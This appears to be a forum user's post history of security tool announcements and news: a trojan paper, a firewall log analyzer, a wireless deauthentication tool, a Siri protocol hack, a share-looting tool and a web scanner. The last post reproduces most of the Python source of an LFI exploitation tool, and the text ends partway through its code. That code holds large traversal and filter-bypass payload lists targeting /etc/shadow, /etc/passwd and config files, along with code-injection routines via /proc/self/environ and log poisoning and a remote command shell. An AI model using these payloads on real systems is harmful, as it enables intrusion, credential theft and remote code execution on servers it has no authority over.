Jump to content

Nytro

Administrators
  • Posts

    18736
  • Joined

  • Last visited

  • Days Won

    711

Everything posted by Nytro

  1. Setiri - Advances in trojan technology Authors: Haroon Meer, Jaco van Graan Size: 1.1 MB Download: http://www.blackhat.com/presentations/bh-asia-02/Sensepost/bh-asia-02-sensepost-notes.pdf
  2. Firewall Log Watch 1.3 Authored by Boris Wesslowski | Site kyb.uni-stuttgart.de fwlogwatch is a packet filter and firewall log analyzer with support for Linux ipchains, Linux netfilter/iptables, Solaris/BSD/HP-UX/IRIX ipfilter, Cisco IOS, Cisco PIX/ASA, Netscreen, Elsa Lancom router, and Snort IDS log files. It can output its summaries in text and HTML and has a lot of options. fwlogwatch also features a realtime anomaly response capability with a Web interface. Changes: This release adds IPv6 support for netfilter, dns cache initialization, and ASA parser extensions. Download: http://packetstormsecurity.org/files/download/106996/fwlogwatch-1.3.tar.gz
  3. HWK Wireless Auditing Tool 0.3.2 Authored by atzeton | Site nullsecurity.net hwk is an easy-to-use wireless authentication and deauthentication tool. Furthermore, it also supports probe response fuzzing, beacon injection flooding, antenna alignment and various injection testing modes. Information gathering is selected by default and shows the incoming traffic indicating the packet types. Download: http://packetstormsecurity.org/files/download/106992/hwk_0.3.2.tar.gz
  4. Hackers port iPhone 4S's Siri to rival devices By Dan Goodin in San Francisco Posted in Mobile, 15th November 2011 00:19 GMT Hackers say they've reverse engineered the Siri personal assistant that debuted in last month's release of the iPhone 4S, a feat that allows them to make it work from virtually any device. To back up their claim, the hackers – from the mobile-application developer Applidium – released a collection of tools on Monday that they say can be used to build Siri-enabled applications on devices that were never authorized to offer the proprietary Apple feature. The tools, written in the Ruby, C, and Objective-C languages, are the result of painstaking sleuthing into the way Siri communicates with a remote server Apple dedicates to the service. "Today, we managed to crack open Siri's protocol," the Applidium developers wrote in a blog post. "As a result, we are able to use Siri's recognition engine from any device. Yes, that means anyone could now write an Android app that uses the real Siri! Or use Siri on an iPad!" The chances of someone using the findings to mass produce a Siri app for unauthorized devices is slim, since the hack requires a valid iPhone 4S unique identifier to be sent to the server. That means Apple could easily revoke identifiers that are used an abnormally high number of times, or from an abnormally high number of different locations. But there doesn't appear to be anything stopping individual iPhone 4S owners from using the hack to expand the number of devices that work with Apple's proprietary natural-language app. The Applidium developers reverse engineered Siri by setting up their own HTTPS servers with an SSL, or secure sockets layer, certificate they signed themselves. That allowed them to observe the commands Siri sent to Apple's server, which is located at guzzoni.apple.com. They eventually found that the body of such requests is little more than a binary plist whose contents can be deciphered using the Mac OS X plutil tool. Interestingly, Siri sends a huge amount of data to the Apple server, and it uses the Speex audio codec to compress raw audio data before it is transmitted. When Siri operates in text-to-speech mode, Apple's server applies a confidence score and time stamp to each word. iPhone fans who are excited by the possibility of this hack are advised to move quickly. Apple has long killed iOS bugs that make jailbreaks possible shortly after they're discovered, so it wouldn't be surprising to see the closing of this hole that allows Siri to be ported to rival devices. Sursa: http://www.theregister.co.uk/2011/11/15/siri_hack/
  5. [Net2SharePwn] - 1.0b JEUDI 10 NOVEMBRE 2011 Net2SharePwn is an utility to check and exploit automatically the NetBIOS Network Shares available from network access points. Question: How do you identify THE FILE containing a password to elevate your network or system privileges, when too much domains or IP addresses are present? The time is an important factor in this situation … and during penetration testing, it’s common to identify a VBS script embedding a domain administrator account password. Answer: Net2SharePwn has been built to allow that. Net2SharePwn is built in Python (tested on Python2.6) and can be launched only on Linux and Mac OS x platforms. I apologize for Python coding, it doesn’t respect the best practices but I didn’t predict to publish Net2SharePwn … Net2SharePwn is perhaps developed “with my feet” but it is functional. You can, if you want to, modify this program to adapt it for your personal usage. Readme (important): http://sud0man.blogspot.com/2011/11/net2sharepwn-10b.html Download: http://dl.dropbox.com/u/31995154/Net2SharePwn-PUB/publication/Net2SharePwn-1.0b/Net2SharePwn-1.0b.tar Sursa: http://sud0man.blogspot.com/2011/11/net2sharepwn-10b.html
  6. Super, are si un manual de folosire elegant. Felicitari!
  7. Uniscan 5.2 is released - vulnerability scanner Uniscan is a open source vulnerability scanner for Web applications. Uniscan 2.0 is a perl vulnerability scanner for RFI, LFI, RCE, XSS and SQL-injection. features: Identification of system pages through a Web Crawler. Use of threads in the crawler. Control the maximum number of requests the crawler. Control of variation of system pages identified by Web Crawler. Control of file extensions that are ignored. Test of pages found via the GET method. Test the forms found via the POST method. Support for SSL requests (HTTPS). Proxy support. Generate site list using Google. Generate site list using Bing. Plug-in support for Crawler. Plug-in support for dynamic tests. Plug-in support for static tests. Plug-in support for stress tests. Tutorials to create your plug-ins: ::: Uniscan :: Project ::: ::: Uniscan :: Project ::: ::: Uniscan :: Project ::: Download: http://sourceforge.net/projects/uniscan/files/5.2/uniscan5.2.tar.gz/download Sursa: Uniscan 5.2 is released - vulnerability scanner ~ The Hacker News | Hacking News | Learn Ethical Hacking Training
  8. Da, stiu de functii, dar asta mi s-a parut banal. Bine, nu l-am incercat, dar speram sa mearga.
  9. Se pot face sugestii pentru posturi pe pagina de FB. Imi dati PM.
  10. LFI Fuzzploit Tool 1.1 Authored by nullbyt3 LFI Fuzzploit is a simple tool to help in the fuzzing for, finding, and exploiting of local file inclusion vulnerabilities in Linux-based PHP applications. Using special encoding and fuzzing techniques, lfi_fuzzploit will scan for some known and some not so known LFI filter bypasses and exploits using some advanced encoding/bypass methods to try to bypass security and achieve its goal which is ultimately, exploiting a local file inclusion. Changes: A bug in the file descriptor scan function is fixed. A command shell bug is fixed. #!/usr/bin/python ##Python Linux LFI expl0iter and Fuzzer for Linux targets ## ##by nullbyt3 ## ##IF you rip, post, or modify please give proper credits to the author ## ########################################################################### ## lfi_fuzzploit is free software: you can redistribute it and/or modify## ## it under the terms of the GNU General Public License as published by ## ## the Free Software Foundation, either version 3 of the License, or ## ## (at your option) any later version. ## ## LFI_Fuzz is distributed in the hope that it will be useful, ## ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## ## GNU General Public License for more details. ## ## You should have received a copy of the GNU General Public License ## ## along with LFI_fuzzploit. If not, see http://www.gnu.org/licenses/ ## ########################################################################### #Tested on Ubuntu 9.04-11.04, but should work on Windows with the proper modules import urllib,urllib2,sys,os,base64 def main(): banner() usage() logs = ["apache/logs/error.log","apache/logs/access.log","apache/logs/error.log","apache/logs/access.log","apache/logs/error.log","apache/logs/access.log", "etc/httpd/logs/acces_log","etc/httpd/logs/acces.log","etc/httpd/logs/error_log","etc/httpd/logs/error.log","var/www/logs/access_log","var/www/logs/access.log", "usr/local/apache/logs/access_log","usr/local/apache/logs/access.log","var/log/apache/access_log","var/log/apache2/access_log","var/log/apache/access.log", "var/log/apache2/access.log", "var/log/access_log", "var/log/access.log","var/www/logs/error_log","var/www/logs/error.log","usr/local/apache/logs/error_log", "usr/local/apache/logs/error.log","var/log/apache/error_log","var/log/apache2/error_log","var/log/apache/error.log","var/log/apache2/error.log", "var/log/error_log","var/log/error.log"] fuzzer=["../","../../../../../../../../../../../../etc/hosts","../../../../../../../../../../../../etc/passwd", "../../../../../../../../../../../../etc/shadow","..\%20\..\%20\..\%20\../etc/passwd","..\..\..\..\..\..\..\..\..\..\etc\passwd", "....//....//....//....//....//....//....//....//....//....//etc/passwd","....//....//....//....//....//....//....//....//....//....//etc/hosts", "..\..\..\..\..\..\..\..\..\..\etc\group",".\\./.\\./.\\./.\\./.\\./.\\./etc/passwd",".\\./.\\./.\\./.\\./.\\./.\\./etc/shadow", "/","../%00/","/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..", "../%2A","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","..//..//..//..//..//../etc/passwd", "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/group","..//..//..//..//..//..//..//etc//passwd", "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", "/'","/\,%ENV\,/","/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd", "/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd","/.../.../.../.../.../%0a", "/../../../../../../../../%2A","/../../../../../../../../../../etc/passwd","..%2f%2f..%2f%2f..%2f%2f..%2f%2f..%2f%2f..%2f%2fetc%2f%2fpasswd", "/../../../../../../../../../../etc/passwd^^","/../../../../../../../../../../etc/group","../\../\../\../\../\../\../\etc/\passwd", "/../../../../../../../../../../etc/shadow^^","/../../../../../../../../bin/id|","...//...//...//...//...//...//etc//passwd", "/..\../..\../..\../..\../..\../..\../etc/passwd","/..\../..\../..\../..\../..\../..\../etc/shadow","../\.../\.../\.../\.../\.../\.../\etc/\passwd", "/./././././././././././etc/passwd","/./././././././././././etc/shadow","/./././././././././././etc/group",".../.../.../.../.../.../etc/passwd", "\.\.\.\.\.\.\.\.\etc\passwd","\.\.\.\.\.\.\.\.\etc\group","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow", "/%00//%00//%00//%00//%00/etc/passwd","/%00//%00//%00//%00//%00/etc/passwd","/%00//%00//%00//%00//%00//etc//shadow", "/%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../etc/passwd","/%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../etc/shadow", "..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63","..%%35c..%%35c..%%35c..%%35c..%%35c..%%35c","..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cgroup" "..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63etc%25%35%63passwd","..%255c..%255c..%255c..%255c..%255c..%255cetc%255cpasswd", "..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cpasswd","..%5c..%5c..%5c..%5c..%5c..%5c../etc/passwd","..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cgroup", "..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cshadow","..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qf","..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc%bg%qfpasswd", "..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc%bg%qfgroup","..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc/passwd","../\.../\.../\.../\.../\.../\.../etc/passwd", "..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd","..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/shadow", "..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af","..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af", "..%u2215..%u2215..%u2215..%u2215..%u2215","..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215passwd", "..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215shadow",".%5c../..%5c/..%c0%9v..%5c.%5c../..%5c/..%c0%9v../", "..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215group","..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215passwd", "..%255c",".%5c../..%5c","/..%c0%9v../","/..%c0%af../","/..%255c..%255c","/..%c0%af..//..%c0%af..//..%c0%af../", "/..%255c..%255c/..%255c..%255c/..%255c..%255c","..%255c",".%5c../..%5c/..%c0%9v../","..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216passwd", "..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216hosts","..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216shadow","./\./\./\./\./\./\./etc/hosts", "../\./\./\./\./\./\./\etc/\passwd","../\./\./\./\./\./\./\proc/\self/\fd/\1","..//..//..//..//..//config.php","..\/..\/..\/..\/config.php", "..%5c..%5c..%5c..%5c..%5c..%5c..%5config.php","..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afconfig.php","..%25%35%63..%25%35%63..%25%35%63config.php", "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2econfig.php"] lfi_load = ["etc/passwd","etc/group","etc/shadow","proc/cpuinfo","proc/meminfo","proc/self/mounts","proc/self/status","proc/self/stat","proc/self/mounts", "etc/security/access.conf","etc/security/opasswd","etc/snort/snort.conf","etc/ldap/ldap.conf","proc/version","etc/clamav/clamd.conf","etc/ssh/sshd_config", "etc/cups/printers.conf","etc/cups/cupsd.conf.default","etc/inetd.conf","etc/apache2/conf.d","etc/apache2/conf.d/security","etc/samba/dhcp.conf", "etc/samba/dhcp.conf","etc/mysql/conf.d/old_passwords.cnf","etc/X11/xorg.conf","etc/gconf","proc/self/cmdline","etc/dhcp3/dhclient.conf", "etc/irssi.conf","etc/chkrootkit.conf","etc/ufw/sysctl.conf","etc/ufw/ufw.conf","etc/php5/apache2/conf.d","etc/syslog.conf", "etc/snmp/snmpd.conf","share/snmp/snmpd.conf","etc/cvs-cron.conf","proc/self/environ","etc/clamav/freshclam.conf","etc/ca-certificates.conf", "etc/debconf.conf","etc/bash_completion.d/debconf","etc/tor/tor-tsocks.conf","etc/xdg/user-dirs.conf","etc/htdig/htdig.conf", "etc/remastersys.conf","etc/gnome-vfs-2.0/modules/default-modules.conf","etc/gnome-vfs-2.0/modules/extra-modules.conf","etc/gconf", "etc/gconf/gconf.xml.defaults","etc/gconf/gconf.xml.defaults/%gconf-tree.xml","etc/tor/tor-tsocks.conf","etc/xdg/user-dirs.conf","etc/htdig/htdig.conf", "etc/remastersys.conf","etc/gnome-vfs-2.0/modules/default-modules.conf","etc/gconf/gconf.xml.defaults","etc/gconf/2","etc/mysql/conf.d", "etc/gconf/gconf.xml.defaults/%gconf-tree.xml","etc/gconf/gconf.xml.system","etc/gconf/2/evoldap.conf","etc/gconf/2/path","etc/gconf/gconf.xml.mandatory", "etc/gconf/gconf.xml.mandatory/%gconf-tree.xml","etc/modprobe.d/vmware-tools.conf","etc/fonts/conf.d","etc/fonts/conf.d/README","etc/miredo.conf" "etc/bluetooth/input.conf","etc/bluetooth/network.conf","etc/bluetooth/main.conf","etc/bluetooth/rfcomm.conf","etc/ldap/ldap.conf","etc/cups/pdftops.conf", "etc/cups/cupsd.conf.default","etc/cups/acroread.conf","etc/cups/cupsd.conf","etc/oinkmaster.conf","etc/menu-methods/menu.config","etc/security/time.conf", "etc/security/namespace.conf","etc/security/sepermit.conf","etc/security/limits.conf","etc/security/group.conf","etc/security/pam_env.conf","etc/deluser.conf", "etc/miredo-server.conf",".etc/mail/sendmail.conf","etc/belocs/locale-gen.conf","etc/snort/threshold.conf","etc/snort/rules/open-test.conf", "etc/snort/rules/emerging.conf","etc/snort/snort-mysql.conf","etc/snort/reference.config","etc/arpalert/arpalert.conf","etc/udev/udev.conf","etc/resolvconf", "etc/resolvconf/update-libc.d","etc/resolvconf/update-libc.d/sendmail","etc/airoscript.conf","etc/foremost.conf","etc/scrollkeeper.conf","etc/pam.conf", "etc/nsswitch.conf","etc/initramfs-tools/conf.d","etc/GeoIP.conf.default","etc/proxychains.conf","etc/host.conf","etc/tinyproxy/tinyproxy.conf", "etc/freetds/freetds.conf","etc/prelude/default/global.conf","etc/prelude/default/idmef-client.conf","etc/prelude/default/tls.conf","etc/apache2/httpd.conf", "etc/apache2/conf.d","etc/apache2/conf.d/charset","etc/apache2/mods-enabled/deflate.conf","etc/apache2/ports.conf","etc/apache2/mods-enabled/mime.conf", "etc/apache2/mods-enabled/dir.conf","etc/apache2/mods-enabled/alias.conf","etc/apache2/mods-enabled/php5.conf","etc/apache2/mods-enabled/negotiation.conf", "etc/apache2/mods-enabled/status.conf","etc/apache2/mods-available/proxy.conf","etc/apache2/mods-available/deflate.conf","etc/apache2/mods-available/mime.conf", "etc/apache2/mods-available/dir.conf","etc/apache2/mods-available/mem_cache.conf","etc/apache2/mods-available/ssl.conf","etc/apache2/mods-available/autoindex.conf", "etc/apache2/mods-available/setenvif.conf","etc/updatedb.conf","etc/kernel-pkg.conf","etc/samba/dhcp.conf","etc/samba/smb.conf","etc/ltrace.conf", "etc/bonobo-activation/bonobo-activation-config.xml","etc/sysctl.conf","etc/mono/config","etc/mono/2.0/machine.config","etc/mono/2.0/web.config", "etc/mono/1.0/machine.config","etc/sensors.conf","etc/X11/xorg.conf-vesa","etc/X11/xorg.conf.BeforeVMwareToolsInstall","etc/X11/xorg.conf", "etc/X11/xorg.conf-vmware","etc/X11/xorg.conf.orig","etc/smi.conf","etc/postgresql-common/autovacuum.conf","etc/pulse/client.conf","etc/python/debian_config", "etc/hdparm.conf","etc/discover.conf.d","etc/discover.conf.d/00discover","etc/casper.conf","etc/discover-modprobe.conf","etc/updatedb.conf.BeforeVMwareToolsInstall", "etc/apt/apt.conf.d","etc/apt/apt.conf.d/00trustcdrom","etc/apt/apt.conf.d/70debconf","etc/apt/apt.conf.d/05aptitude","etc/apt/apt.conf.d/50unattended-upgrades", "etc/apt/apt.conf.d/01ubuntu","etc/apt/apt.conf.d/01autoremove","etc/vmware-tools/config","etc/vmware-tools/vmware-tools-libraries.conf","etc/vmware-tools/tpvmlp.conf", "etc/miredo/miredo.conf","etc/miredo/miredo-server.conf","etc/PolicyKit/PolicyKit.conf","etc/gtk-2.0/im-multipress.conf","etc/resolv.conf","etc/adduser.conf", "etc/subversion/config","etc/openvpn/update-resolv-conf","etc/cvs-pserver.conf","etc/pear/pear.conf","etc/dns2tcpd.conf","etc/java-6-sun/fontconfig.properties", "etc/privoxy/config","etc/gre.d/1.9.0.14.system.conf","etc/gre.d/1.9.0.15.system.conf","etc/gre.d/1.9.0.10.system.conf","etc/logrotate.conf", "etc/skel/.kde3/share/apps/kconf_update","etc/skel/.kde3/share/apps/kconf_update/log/update.log","etc/skel/.kde3/share/share/apps/kconf_update", "etc/skel/.kde3/share/share/apps/kconf_update/log","etc/skel/.kde3/share/share/apps/kconf_update/log/update.log","etc/skel/.config","etc/skel/.config/Trolltech.conf", "etc/skel/.config/menus","etc/skel/.config/menus/applications-kmenuedit.menu","etc/skel/.config/user-dirs.locale","etc/skel/.config/codef00.com", "etc/skel/.config/user-dirs.dirs","etc/avahi/avahi-daemon.conf","etc/dhcp3/dhcpd.conf","etc/dhcp3/dhclient.conf","etc/splashy/config.xml","etc/reader.conf.old", "etc/defoma/config","etc/defoma/config/x-ttcidfont-conf.conf2","etc/wicd/manager-settings.conf","etc/wicd/wireless-settings.conf","etc/wicd/dhclient.conf.template.default", "etc/wicd/wired-settings.conf","etc/sysctl.d/wine.sysctl.conf","etc/sysctl.d/10-network-security.conf","etc/sysctl.d/10-console-messages.conf","etc/kbd/config", "etc/sysctl.d/10-process-security.conf","etc/w3m/config","etc/reader.conf.d","etc/reader.conf.d/libccidtwin","etc/reader.conf.d/0comments","etc/reader.conf", "etc/kbd/config","etc/dbus-1/session.conf","etc/dbus-1/system.conf","etc/etter.conf","etc/pm/config.d","etc/pm/config.d/00sleep_module","etc/depmod.d/ubuntu.conf", "etc/unicornscan/payloads.conf","etc/unicornscan/unicorn.conf","etc/unicornscan/modules.conf","etc/console-tools/config.d","etc/console-tools/config.d/splashy", "etc/tpvmlp.conf","etc/mtools.conf","etc/kernel-img.conf","etc/ca-certificates.conf.dpkg-old","etc/ld.so.conf","etc/conky/conky.conf","etc/ucf.conf","etc/rinetd.conf", "etc/e2fsck.conf","etc/gdm/failsafeDexconf","etc/foomatic/filter.conf","etc/manpath.config","etc/esound/esd.conf","etc/tsocks.conf","etc/stunnel/stunnel.conf", "etc/fuse.conf","etc/uniconf.conf","etc/syslog.conf","etc/cvs-cron.conf","etc/snmp/snmpd.conf","share/snmp/snmpd.conf","/etc/apache2/envvars","config.php"] fd_lfis=["proc/self/fd/0","proc/self/fd/1","proc/self/fd/2","proc/self/fd/3","proc/self/fd/4","proc/self/fd/5","proc/self/fd/6","proc/self/fd/7","proc/self/fd/8", "proc/self/fd/9","proc/self/fd/10","/proc/self/fd/11","/proc/self/fd/12","/proc/self/fd/13","/proc/self/fd/14","/proc/self/fd/15"] step = "../../../../../../../../" evasion = "%00.php" evasion1 = "%00.php.inc" evasion2 = "%00.php5" evasion3 = "%00.phtml" nullbyte ="%00" htmlfile = "lfi_fuzz.html" htmlfile2 = "lfi_fuzz-01.html" htmlfile3 = "lfi_fuzz-02.html" scan_options = ("1)Fuzz for LFI and Directory Transveral?","2)Traditional Local File Inclusion scan and dump?","3)File Descriptor LFI scan?", "4)Exploit LFI via /proc/self/environ","5)Exploit LFI via File descriptor?","6)Include known apache logs","7)Exploit LFI via Logfile?", "8)Use LFI_Sploit\'s LFI command shell","9)Use php:// to read file streams?(allow_url_include must be on)","10)Custom step?(../../)","11)Help?", "12)Exit Prog?") for scan in scan_options: print(scan) option = str(raw_input("Please pick an option(1-12):")) ###########################################################################Start the scan########################################################################## if option == "1": url = str(raw_input("Site and uri to Fuzz: ")) if url[:7] != "http://": url = "http://"+url else: url = url try: cleanup(htmlfile) cleanup(htmlfile2) cleanup(htmlfile3) print "Old files removed, ready to start a new scan" except: print "Ready to start a new scan.." nullorno = str(raw_input("Fuzz with nullbyte and other evasion techniques?(y or n):")) nullorno = nullorno.lower() if nullorno == 'y': for fuzz in fuzzer: myurl = url + fuzz + nullbyte print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) for fuzz in fuzzer: myurl = url + fuzz + evasion print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print "Error codes: %s" %(e) except KeyboardInterrupt: print "Bye :)" sys.exit(1) for fuzz in fuzzer: myurl = url + fuzz + evasion1 print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) for fuzz in fuzzer: myurl = url + fuzz + evasion2 print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile2) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) for fuzz in fuzzer: myurl = url + fuzz + evasion3 print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile3) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'n': for fuzz in fuzzer: myurl = url + fuzz print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print "Error: %s" %(e) except KeyboardInterrupt: print "Bye :)" sys.exit(1) elif option == "2": htmlfile = "LFI_report.html" url = str(raw_input("Site and uri to attack?: ")) if url[:7] != "http://": url = "http://"+url else: url = url print "cleaning up old files before starting a scan" try: cleanup(htmlfile) print "Old files removed, ready to start a new scan" except: print "Ready to start a new scan.." nullorno = str(raw_input("Use a nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'n': for lfi in lfi_load: myurl = url + step + lfi print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error Codes including files: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'y': for lfi in lfi_load: myurl = url + step + lfi + nullbyte print("Scanning %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif option == "3": htmlfile = "LFI_FD_report.html" htmlfile2 = "LFI_FD_report1.html" htmlfile3 = "LFI_FD_report2.html" url = str(raw_input("Site and uri to attack?: ")) if url[:7] != "http://": url = "http://"+url else: url = url print "cleaning up old files before starting to scan" try: cleanup(htmlfile) print("Old files removed, ready to start a new scan") except: print("Ready to start a new scan..") nullorno = str(raw_input("Use a nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'n': for fd in fd_lfis: myurl = url + step + fd print("Attempting to include file descriptor and url: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'y': for fd in fd_lfis: myurl = url + step + fd print("Scanning %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error code: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif option == "4": url = str(raw_input("Site and uri to exploit(/proc/self/environ must be viewable and magic_quotes=off)?: ")) if url[:7] != "http://": url = "http://"+url else: url = url print "cleaning up old files before starting a scan" try: cleanup(htmlfile) print("Old files removed, ready to start a new scan") except: print("Ready to start a new scan..") nullorno = str(raw_input("Use a nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'n': environ = "../../../../../../../../../proc/self/environ" myurl = url + environ print("Injecting code into /proc/self/environ using site: %s" %(myurl)) try: exploit_environ(myurl) except IOError as e: print("Error: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'y': environ = "../../../../../../../../proc/self/environ" myurl = url + environ + nullbyte print("Injecting code into /proc/self/environ on url: %s" %(myurl)) try: exploit_environ(myurl) except IOError as e: print("Error codes connecting to server: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif option == "5": url = str(raw_input("Site and uri to attack?: ")) if url[:7] != "http://": url = "http://"+url else: url = url fds = {"1": "../../../../../../../proc/self/fd/1","2":"../../../../../../../proc/self/fd/2", "3":"../../../../../../../proc/self/fd/3","4":"../../../../../../../proc/self/fd/4", "5":"../../../../../../../proc/self/fd/5","6":"../../../../../../../proc/self/fd/6", "7":"../../../../../../../proc/self/fd/7","8":"../../../../../../../proc/self/fd/8", "9":"../../../../../../../proc/self/fd/9","10":"../../../../../../../proc/self/fd/10", "11":"../../../../../../../proc/self/fd/11","12":"../../../../../../proc/self/fd/12"} fd = str(raw_input("File descriptor number to log for shell include?:(ie 1-12)")) print("cleaning up old files before starting a scan") try: cleanup(htmlfile) print("Old files removed, ready to start a new scan") except: print("Ready to start a new scan..") nullorno = str(raw_input("Use a nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'n': myurl = url + fds[fd] print("Injecting code into file descriptor: %s" %(myurl)) try: exploit_lfi(myurl) except IOError as e: print("Error codes connecting to server: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'y': myurl = url + fds[fd] + nullbyte print("Injecting code into file descriptor: %s" %(myurl)) try: exploit_lfi(myurl) except IOError as e: print("Error: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: option_error() elif option == "6": url = str(raw_input("Site and uri to attack?: ")) if url[:7] != "http://": url = "http://"+url else: url = url print("Cleaning up old html files") try: cleanup(htmlfile) print("Old files removed, ready to start a new scan") except: print("Ready to start a new scan..") nullorno = str(raw_input("Use a nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'n': for log in logs: myurl = url + step + log print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'y': for log in logs: myurl = url + step + log print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: option_error() sys.exit(1) elif option == "7": print("\n\n1)Inject code in a specific Log?") print("2)Include all logs and inject code(a LFI hail mary(very noisy!))?: ") what_to_do = str(raw_input("Option:")) if what_to_do == "1": url = str(raw_input("Site were working with: ")) if url[:7] != "http://": url = "http://"+url else: url = url logfile = str(raw_input("Logfile to inject code into?: ")) null = str(raw_input("Add a nullbyte(y or n):" )) if null == "n": myurl = url + step + logfile print("Attempting to inject code into logfile: %s" %(logfile) ) try: exploit_lfi(myurl) except IOError as e: print("Error injecting code into %s\n ERROR: %s" %(logfile, e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif null == "y": myurl = url + step + logfile + null print("Attempting to inject code into logfile: %s" %(logfile) ) try: exploit_lfi(myurl) except IOError as e: print("Error injecting code into %s\n ERROR: %s" %(logfile, e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: option_error() sys.exit(1) if what_to_do == "2": warn = str(raw_input("Warning: This is a noisy scan that makes alot of requests,exit?(y or n)")) if warn == "y": sys.exit(1) elif warn == "n": url = str(raw_input("Site were working with: ")) if url[:7] != "http://": url = "http://"+url else: url = url null = str(raw_input("Add a nullbyte(y or n):" )) if null == "n": for log in logs: myurl = url + step + log print("Attempting to inject code into logfile: %s" %(log)) try: exploit_lfi(myurl) except IOError as e: print("Error injecting code into %s\n ERROR: %s" %(log, e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: pass elif option == "8": os.system('clear') print("+==+==+==+==+==+[+]OS Environ/FD/Logfile Shell environment[+]==+==+==+==+==+\n\n") url = str(raw_input("Fully Exploited url?: ")) if url[:7] != "http://": url = "http://"+url else: url = url while 1: try: command_shell(url) except IOError as e: print("Error executing command. Code: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif option == "9": b64file = "b64_encoded_stream.txt" print "Warning: allow_url_include must be enabled for this attack to succeed!" url = str(raw_input("Url to exploit?: ")) if url[:7] != "http://": url = "http://"+url else: url = url 